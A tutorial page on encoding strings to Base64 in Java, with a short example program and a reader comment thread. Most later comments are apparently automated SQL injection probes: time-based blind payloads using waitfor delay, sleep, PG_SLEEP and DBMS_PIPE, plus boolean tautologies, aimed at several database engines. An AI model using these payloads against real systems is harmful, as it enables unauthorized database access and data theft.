A virtual teacher who reveals to you the great secrets of Base64

Java Base64 Encode

Since Java 1.8 developers can use the Base64.Encoder class to encode data to Base64. This class provides several methods for encoding byte data to Base64 using algorithms specified in RFC 4648 and RFC 2045. In addition, Java provides the Base64.Decoder class for decoding Base64 values to byte data.

Example #1 (encode string):

import java.util.Base64;

class Base64Encode {
  public static void main(String[] args) {
    String str = "guru";
    String b64 = Base64.getEncoder().encodeToString(str.getBytes());
    System.out.println(b64); //-> "Z3VydQ=="
  }
}
Comments (24)

I hope you enjoy this discussion. In any case, I ask you to join it.

  • rohit,
    Hi,

    I would like to get the java code implementation to convert svg image to base-64.

    Can you share the code snippet
    • Administrator,
      Hi! Since SVG is just XML (i.e. text data), the snippet on this page does exactly what you want.
      • rohit,
        Above code snippet works only when you extract buffered image from svg file and convert that to string and providing this string as input.

        I would like to see code which converts svg file to buffered image.

        I tried so many ways using batik jars but none is giving right output

        Its been a week I am struggling. It will be helpful if you can provide me working sample from svg file to buffered image
  • Cora,
    Hi , and how could i encode PDF to Base64
  • Dev,
    How can we validate if the base64 String is corrupted in Java.
    Example String :
    /9j/4AAQSkZJRgABAQAAAQABAAD/4gIoSUNDX1BST0ZJTEUAAQEAAAIYAAAAAAIQAABtbnRyUkdCIFhZWiAAAAAAAAAAAAAAAABhY3NwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAA9tYAAQAAAADTLQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlkZXNjAAAA8AAAAHRyWFlaAAABZAAAABRnWFlaAAABeAAAABRiWFlaAAABjAAAABRyVFJDAAABoAAAAChnV
  • shoaib,
    hi,
    How can i convert url into Base64 image
  • nqhXncMU,
    555*968*963*0
  • nqhXncMU,
    1 waitfor delay '0:0:15' --
  • nqhXncMU,
    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
  • nqhXncMU,
    -1' OR 2+257-257-1=0+0+0+1 or 'WlwdDLLF'='
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
  • nqhXncMU,
    dk4HLWg0'; waitfor delay '0:0:15' --
  • gBqsPxAZ,
    -1 OR 2+899-899-1=0+0+0+1
  • gBqsPxAZ,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • gBqsPxAZ,
    -5 OR 175=(SELECT 175 FROM PG_SLEEP(15))--
  • nqhXncMU,
    -1 OR 2+388-388-1=0+0+0+1
  • nqhXncMU,
    GYs4eDQb' OR 340=(SELECT 340 FROM PG_SLEEP(15))--
  • nqhXncMU,
    0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
  • nqhXncMU,
    0TVwPBSQ' OR 473=(SELECT 473 FROM PG_SLEEP(15))--
  • ncMUFCMU,
    0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
  • nqhXncMU,
    -1); waitfor delay '0:0:15' --
  • nqhXncMU,
    555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
Add new comment

If you have any questions, remarks, need help, or just like this page, please feel free to let me know by leaving a comment using the form bellow.
I will be happy to read every comment and, if necessary, I will do my best to respond as quickly as possible. Of course, spammers are welcome only as readers.